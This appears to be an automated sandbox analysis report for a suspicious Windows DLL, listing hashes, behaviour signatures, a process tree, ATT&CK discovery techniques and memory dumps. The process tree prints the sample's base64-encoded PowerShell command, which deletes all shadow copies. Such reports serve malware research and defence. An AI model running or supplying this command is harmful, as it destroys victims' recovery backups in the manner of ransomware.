Overview

overview

10

Static

static

10

39fca7fbfd...1e.dll

windows7_x64

1

39fca7fbfd...1e.dll

windows10-2004_x64

6

Analysis

  • max time kernel
    90s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    25-06-2022 07:10

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General

  • Target

    39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e.dll

  • Size

    164KB

  • MD5

    c26a7ea5728b33a046b0c77a59a6ccc9

  • SHA1

    98c717ca6a721ba73ec9afdd6e827e8bcd2873a0

  • SHA256

    39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e

  • SHA512

    9b75945175914edba61d0ea8a91bdb692ef31e15786ea73313f8e8528e8d06ade99fce8cc5ee0c9952da661d5e37f987475565b7c9ae9e37013a72ab4e00cb93

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4716
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\39fca7fbfd1b8a31cd899a6b649e85ca8bb9fe770d2ecbe75cad29e24eceba1e.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3120
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1684
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4132
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4872

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • memory/1684-131-0x0000000000000000-mapping.dmp
      Download
    • memory/1684-132-0x000001CBE6100000-0x000001CBE6122000-memory.dmp
      Filesize

      136KB

      Download
    • memory/1684-133-0x00007FF9ABE20000-0x00007FF9AC8E1000-memory.dmp
      Filesize

      10.8MB

      Download
    • memory/1684-134-0x00007FF9ABE20000-0x00007FF9AC8E1000-memory.dmp
      Filesize

      10.8MB

      Download
    • memory/3120-130-0x0000000000000000-mapping.dmp
      Download